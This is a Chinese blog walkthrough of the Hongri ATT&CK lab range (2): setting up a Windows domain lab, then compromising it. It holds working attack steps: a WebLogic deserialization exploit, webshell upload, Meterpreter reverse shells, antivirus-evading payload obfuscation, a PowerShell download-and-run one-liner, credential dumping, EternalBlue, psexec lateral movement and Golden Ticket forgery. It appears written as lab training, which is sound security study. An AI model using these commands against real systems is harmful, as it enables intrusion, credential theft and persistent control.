红日ATT&CK系列靶场(二)

红日ATT&CK系列靶场(二)

环境搭建

建议参考视频:红日ATT&CK系列靶场(二)搭建_哔哩哔哩_bilibili

  • 两张网卡
  • web靶机不能直接开,要选择状态v3

开启PC时360会弹出来要开启的权限,这里选择输入密码让他开机自启动

image-20220907220931990

administrator

1qaz@WSX

输入后让其重启,之后会要求再输入一遍即可

默认账密

.\de1ay

1qaz@WSX

要求改密码

我这里改为

1qaz@WSX3

进去后再注销出来

注销出来后切换用户mssql

输入密码1qaz@WSX

登录

之后弹出360,账号密码是这个

.\de1ay

1qaz@WSX

来到下图这个目录下开启weblogic,其中需要的管理员账号密码都是

.\de1ay

1qaz@WSX

image-20220907222913199

管理员打开startWebLogic,注意看自己的域,如果是./web域那就直接

.\de1ay

1qaz@WSX

我这里一开始是de1ay域,要输入.\让他变成web域才行

image-20220907225034058

其实就是上面这个de1ay用户目录有weblogic

启动成功

image-20220907225634152

左边的窗口是来看7001有没有被成功启动的服务占用的

netstat -ano | findstr 7001

之后通过ip访问也成功。

注意了!这个时候再关闭一下机器

image-20220911145505173

重新设置一下网卡,因为刚刚恢复快照了,会全部返回初始设置,后门一直打不通就是这个原因呢

外网打点

外网信息扫描

ap-scan -l

image-20220908185252841

192.168.111.1   00:50:56:c0:00:08       VMware, Inc.
192.168.111.2   00:50:56:e2:d2:02       VMware, Inc.
192.168.111.80  00:0c:29:ca:42:4a       VMware, Inc.
192.168.111.201 00:0c:29:72:5e:c6       VMware, Inc.
192.168.111.254 00:50:56:ef:54:f1       VMware, Inc.

nmap试试

nmap -sS -sV -Pn -T4 -A 192.168.47.129
  • -sS代表使用半开式SYN扫描,这种扫描方式很少在目标主机上留下扫描日志
  • -sV代表版本探测,探测服务的版本
  • -Pn代表穿过防火墙扫描 (开了防火墙尽量用这个)
  • -T4代表扫描时间间隔,设置速度等级,0-5级,数字越大,扫描时间间隔越小,速度就越快。 (T0-T2串行扫描,T3-T5并行扫描)

.1是我物理机ip,.2感觉也可能是之类的,所以我直接从80开始扫描

nmap -sS -sV -Pn -T4 -A 192.168.111.80
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-08 06:56 EDT
Nmap scan report for 192.168.111.80
Host is up (0.00060s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
80/tcp    open  http         Microsoft IIS httpd 7.5
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Site doesn't have a title.
| http-methods: 
|_  Potentially risky methods: TRACE
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1433/tcp  open  ms-sql-s     Microsoft SQL Server 2008 R2 10.50.4000.00; SP2
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2022-09-07T13:56:37
|_Not valid after:  2052-09-07T13:56:37
| ms-sql-ntlm-info: 
|   Target_Name: DE1AY
|   NetBIOS_Domain_Name: DE1AY
|   NetBIOS_Computer_Name: WEB
|   DNS_Domain_Name: de1ay.com
|   DNS_Computer_Name: WEB.de1ay.com
|   DNS_Tree_Name: de1ay.com
|_  Product_Version: 6.1.7601
|_ssl-date: 2022-09-08T10:58:24+00:00; 0s from scanner time.
3389/tcp  open  tcpwrapped
|_ssl-date: 2022-09-08T10:58:24+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=WEB.de1ay.com
| Not valid before: 2022-09-06T13:57:32
|_Not valid after:  2023-03-08T13:57:32
| rdp-ntlm-info: 
|   Target_Name: DE1AY
|   NetBIOS_Domain_Name: DE1AY
|   NetBIOS_Computer_Name: WEB
|   DNS_Domain_Name: de1ay.com
|   DNS_Computer_Name: WEB.de1ay.com
|   DNS_Tree_Name: de1ay.com
|   Product_Version: 6.1.7601
|_  System_Time: 2022-09-08T10:57:45+00:00
7001/tcp  open  http         Oracle WebLogic Server 10.3.6.0 (Servlet 2.5; JSP 2.1; T3 enabled)
|_http-title: Error 404--Not Found
|_weblogic-t3-info: T3 protocol in use (WebLogic version: 10.3.6.0)
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
MAC Address: 00:0C:29:CA:42:4A (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone|specialized
Running (JUST GUESSING): Microsoft Windows 7|Vista|2008|8.1|Phone|2012 (98%)
OS CPE: cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1 cpe:/o:microsoft:windows_server_2008::sp1 cpe:/o:microsoft:windows_8.1:r1 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_server_2012:r2
Aggressive OS guesses: Microsoft Windows 7 (98%), Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7 (97%), Microsoft Windows Vista SP2, Windows 7 SP1, or Windows Server 2008 (97%), Microsoft Windows 8.1 R1 (96%), Microsoft Windows Phone 7.5 or 8.0 (96%), Microsoft Windows Server 2008 or 2008 Beta 3 (95%), Microsoft Windows Server 2008 R2 or Windows 8.1 (95%), Microsoft Windows 7 Professional or Windows 8 (95%), Microsoft Windows Embedded Standard 7 (95%), Microsoft Windows Server 2008 SP1 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

7001有个weblogic服务,可能存在反序列化,SSRF,任意文件上传,后台路径泄露

445端口开放意味着存在smb服务,可能存在ms17_010永恒之蓝漏洞。

139端口,就存在Samba服务,就可能存在爆破/未授权访问/远程命令执行漏洞

1433端口,就存在mssql服务,可能存在爆破/注入/SA弱口令。

攻入weblogic

http://192.168.111.80:7001/console/login/LoginForm.jsp

访问console路径会自动跳转到这个链接(后台)

但是尝试弱密码无果

两个扫描器

dr0op/WeblogicScan: 增强版WeblogicScan、检测结果更精确、插件化、添加CVE-2019-2618,CVE-2019-2729检测,Python3支持 (github.com)

python3 weblogicscan.py 192.168.111.80 7001

image-20220908193713519

rabbitmask/WeblogicScan: Weblogic一键漏洞检测工具,V1.5,更新时间:20200730 (github.com)

这个我下载在plus文件夹

python .\weblogicscan.py -u 192.168.111.80 -p 7001

image-20220908193205276

cve-2019-2725

先尝试直接搜索

searchsploit weblogic

但是没有搜到太有用的东西

再尝试msf里面的search

search weblogic_deserialize

image-20220908204813337

cve是2019发表的,那应该就是第三个

use 3

info查看详情

show options查看选项

填完参数后run,多次尝试无果

image-20220908213502248

实验 java反序列化终极测试工具

https://www.aliyundrive.com/s/FqGpaqvHcGt

注意要java8运行

java.exe -jar xxx.jar

image-20220908213421924

维持权限

weblogic上传webshell

接下来为了提权和维权,上传webshell,可以参考

weblogic上传木马路径选择 - 素时听风 - 博客园 (cnblogs.com)

尝试第一种

C:\Oracle\Middleware\wlserver_10.3\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\shell.jsp

image-20220908213915587

虽说这个目录需要权限,但是whoami看下咱直接是域的权限了,故可行

image-20220908213950212

顺手看下有啥杀软

image-20220908215239434

丢到在线网站Windows杀软在线对比 (saucer-man.com)

(肉眼可见)

image-20220908215440070

冰蝎+javameterprete

为了获取meterpreter的shell,我们把原来的jsp换成冰蝎马

image-20220908215631506

冰蝎新建url

http://192.168.111.80:7001/console/framework/skins/wlsconsole/images/shell2.jsp

连上后反弹meterpretershell

use exploit/multi/handler 
set payload java/meterpreter/reverse_tcp
set lhost 192.168.111.128
exploit

image-20220908220606043

image-20220908220800512

维持权限

netsh advfirewall set allprofiles state off 关闭防火墙
run killav 关闭杀软

image-20220908222559190

image-20220908222614430

下面这个不行,java的meterpleter不支持

直接meterpreter的后门

于是试图上传meterpreter的木马

use payload/windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.111.128
set LPORT 5555
generate -f exe -o exp.exe
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 5555
exploit

image-20220908224148687

免杀powershell (失效)

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.111.128 lport=6666 -f psh-cmd > shell.ps1

然后使用

komomon/Invoke-Obfuscation-Bypass: powershell免杀,Invoke-Obfuscation-Bypass分析和修改 (github.com)

执行如下命令,导入模块

Powershell -ExecutionPolicy Bypass  # 管理员执行
Import-Module .\Invoke-Obfuscation.psd1
Invoke-Obfuscation

image-20220909140614965

将刚才cs或者meterpreter生成的payload.ps1放在刚才的文件夹

image-20220909140852905

执行命令进行混淆

set scriptpath D:\study\webtools\Invoke-Obfuscation-Bypass-main\Invoke-Obfuscation-Bypass-main\Invoke-Obfuscation-Bypass\shell.ps1     # 相对路径绝对路径都可以
token  # 部分混淆
all
1
out 1.ps1     # 结果输出文件

image-20220909143245074

这坨可以直接脚本发送,也可以把1.ps上传到服务器上执行(后来发现不行,powershell默认禁止执行脚本)

image-20220909144741267

powershell -windowstyle hidden 1.ps1

我们使用脚本

https://www.exploit-db.com/

去搜索一下,找到个py

拿ps1免杀的内容替换一下原来的Poc

没办法,为了复现只能给权限(当然如果有meterpretershell应该可以)

image-20220909145348031

但是发现免杀shell有问题,以后再来研究吧

image-20220909145638574

听清辉师傅说要学免杀还是得自己写

cs

为了后面管理方便还是使用cs

./teamserver 192.168.111.128 123456
./start.bat

先生成监听

image-20220909152008834

但是报错class not find

尝试powershell

image-20220909152852873

image-20220909153006777

生成

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.111.128:80/a'))"

用冰蝎的shell执行效果很差,

image-20220909153904845

还是Meterpreter的shell好,不过执行后的shell权限不高,是mssql

image-20220911174556803

这里找不到提权的好办法,只能以管理员身份运行了

image-20220909153949469

内网渗透

账密信息

右击上线机器点击interact

hashdump
logonpasswords

image-20220909160544913

可以看到密码的

image-20220909160611408

de1ay\mssql
1qaz@WSX

但是尝试远程登录失败

image-20220911161138809

其实,正常来说可以得到域控账密的,别人y0是这样

image-20220911182442701

我是这样

image-20220911182432506

少了个de1ay/administrator, 麻了

软件信息

查看安装应用

run post/windows/gather/enum_applications 

域内信息

常用命令

1). 本机信息收集

Systeminfo  //查看操作系统信息
Ipconfig /all   //查询本机ip段,所在域等
Whoami   //查看当前用户权限
Net user    //查看本地用户
Net localgroup administrators   //查看本地管理员组(通常 包含域用户)

得知web服务器为Windows server 2008 有两个网段

2). 域内信息收集

net config workstation     // 查看当前计算机名,全名,用户名,系统版本,工作站域,登陆的域等
net view /domain              // 查看域
net time /domain           // 主域服务器会同时作为时间服务器
net user /domain      // 查看域用户
net group /domain     // 查看域内用户组列表
net group "domain computers" /domain      // 查看域内的机器
net group "domain controllers" /domain          // 查看域控制器组
net group "Enterprise Admins" /domain    // 查看域管理员组

注意:如果meterpreter 使用 shell乱码问题解决方法

chcp 65001

image-20220909164816007

有个坑点

net view 回显

C:\Oracle\Middleware\user_projects\domains\base_domain>net view
net view
System error 6118 has occurred.

The list of servers for this workgroup is not currently available

6118报错

然后跑去DC域控服务器net view一下发现是空列表

win+r 输入services.mst,然后开启computer browser

这时候去net view就有一个DC了,可是PC还没有加入

而WEB还是这个报错

直接进入PC,管理员权限打开powershell输入关闭防火墙指令

netsh advfirewall set allprofiles state off

回显“确定”

之后net view可以看到了

image-20220909175704402

可以简单理解为,因为内存不够vm有些虚拟机例如(DC)就休眠了,所以报了6118,随后进入DC net view的时候,DC重新恢复快照,但是本身没有开启computer browser,所以域没有搭起来,显示空列表,之后开启了,DC当然就恢复正常加入了域(本身是域控),但是PC有防火墙无法直接通过net view看到域,看下拓扑:

image-20220909180342377

PC的防火墙一方面它阻止了PC加入到域,另一方面它阻止了WEB使用net view

关掉之后,就都可以了

image-20220909180705162

结果我第二天打开的时候,net view变成了如下结果

WEB中使用net view:

image-20220910144341375

PC中使用net view:

image-20220910144411655

DC中使用net view:

image-20220910144435492

而执行net user /domain时,会报1355 error...

综合三张图看,就是WEB没有加入到域控

解决方法和刚才类似,在WEB中(这条命令多执行几遍,因为怀疑是加入到定时任务会自动开启的)

netsh advfirewall set allprofiles state off

之后可以

image-20220910150048827

所以给自己一个总结:

  • 拿到shell后想办法关闭防火墙:netsh advfirewall set allprofiles state off再尝试Net view

通过操作。必须要知道的信息:

域?DC

存在的主机名及其域用户?WEB\de1ay,此外还有的主机是DC,PC,此外还有的用户是

image-20220910150456902

域名?de1ay.com

扫活

换个shell,java版的不好用

生成

use payload/windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.111.128
set LPORT 5555
generate -f exe -o exp.exe

监听

use exploit/multi/handler
set lhost 192.168.2.33
set lport 5555
set payload windows/x64/meterpreter/reverse_tcp
run

上传并执行

upload exp.exe
shell
exp.exe

image-20220910152808358

扫活的方法

run autoroute -s 10.10.10.0/24

background

use auxiliary/scanner/netbios/nbname
set rhosts 10.10.10.0/24
run
run post/windows/gather/arp_scanner RHOSTS=10.10.10.0/24

image-20220910153404570

高下立马判了,左边是javashell右边是msf马

(虽然扫不出关键的,可能arp扫描被拦截了?)

(事后经过摸索,果然还是由于没挂代理的问题)

不过前面已经有net view了。可以直接ping每个机器得到mac地址

具体ip还是要挂代理

编辑kali下的frps.ini配置如下:

[common]
bind_addr = 192.168.2.33      //kali的公网ip 
bind_port = 8000            //与客户端绑定的进行通信的端口
dashboard_addr = 0.0.0.0        //管理页面的设置   
dashboard_port = 7600       
dashboard_user = root       
dashboard_pwd  = 123456    
token = 1q2w3e             
heartbeat_timeout = 90     
max_pool_count = 5         
./frps -c ./frps.ini

image-20220910170059366

frpc.ini

[common]
tls_enable = true
server_addr = 192.168.111.128       
server_port = 8000          
token = 1q2w3e                  
pool_count = 5            
protocol = tcp              
health_check_type = tcp    
health_check_interval_s = 100   
[proxies]
remote_port = 6000  
plugin = socks5        
use_encryption = true   
use_compression = true
frpc.exe -c ./frpc.ini

image-20220910185025173

proxychains记得改下,然后通过测试没有问题

内网扫活:

run post/windows/gather/arp_scanner RHOSTS=10.10.10.0/24

image-20220910203450845

也可以

use auxiliary/scanner/netbios/nbname
set rhosts 10.10.10.0/24
run

image-20220910201630871

版本信息

use auxiliary/scanner/smb/smb_version

端口垂直扫描

尝试上传fscan

(若使用冰蝎上传注意多刷新目录,有时候上传成功不会及时更新目录,再上传就显示进程占用了)

fscan.exe -h 10.10.10.80/24

image-20220911150743202

DC

ms17-010

从上面可以看到扫到了445端口,又是老服务器win2008 server

所以基本可以优先尝试

use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhost 10.10.10.10
set lport 7878        
run

image-20220911151757397

然后我kali崩了,可以去任务管理器里面把进程kill掉VMware中某个虚拟机卡死,单独关闭某个虚拟机的办法 - Aiden郭祥跃 - 博客园 (cnblogs.com),后面重新开启的时候多分配一点内存,我这里重新分配到4G

随后再试一遍成功

image-20220911154737881

远程登录

load kiwi
creds_all

但是抓取密码失败

image-20220911155321132

正常来说这里可以直接看到账密

别人的截图

image-20220911182616037

cs使用ps_exec

portscan 10.10.10.0/24 445 arp 200

image-20220911175352311

看最下面那个才是正确的,所以有时候net view给的ip并不正确

image-20220911175509708

新建监听

image-20220911181123471

名字设置为y0ngpsexec 因为我是参考y0ng大神的ATT&CK红队评估实战靶场(二) | Y0ng的博客 (yongsheng.site)

image-20220911181225556

由于前面hashdump没有搞到域控密码,咱只能当作知道域控密码

image-20220911183319357

上线

image-20220911183219287

域控权限维持:Golden Ticket(黄金票据)

黄金票据可以在拥有普通域用户权限和KRBTGT账号的哈希的情况下用来获取域管理员权限,上面已经获得域控的 system 权限了,还可以使用黄金票据做权限维持,即使日后当域控权限掉了,也可以再通过域内其他任意机器伪造票据重新获取最高权限。

黄金票据的前提:

1.域名称
2.域的SID值
3.域的KRBTGT账户NTLM密码哈希
4.伪造用户名

获取krbtgt账户和nylm哈希

image-20220911184939659

krbtgt

82dfc71b72a11ef37d663047bc2088fb:::

获取域的sid

image-20220911184630442

image-20220911185115122

sid

S-1-5-21-2756371121-2868759905-3853650604-1001

用户名随便输,域名输入当前域的域名,sid域hash值我们刚才已经获取了,然后点击创建

image-20220911185307292

上面一不小心写错了,要de1ay.com

(本质是调用mimikatz的语法)

image-20220911191219583

评论

  1. Tajang
    1 年前
    2023-2-20 9:36:40

    好!

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇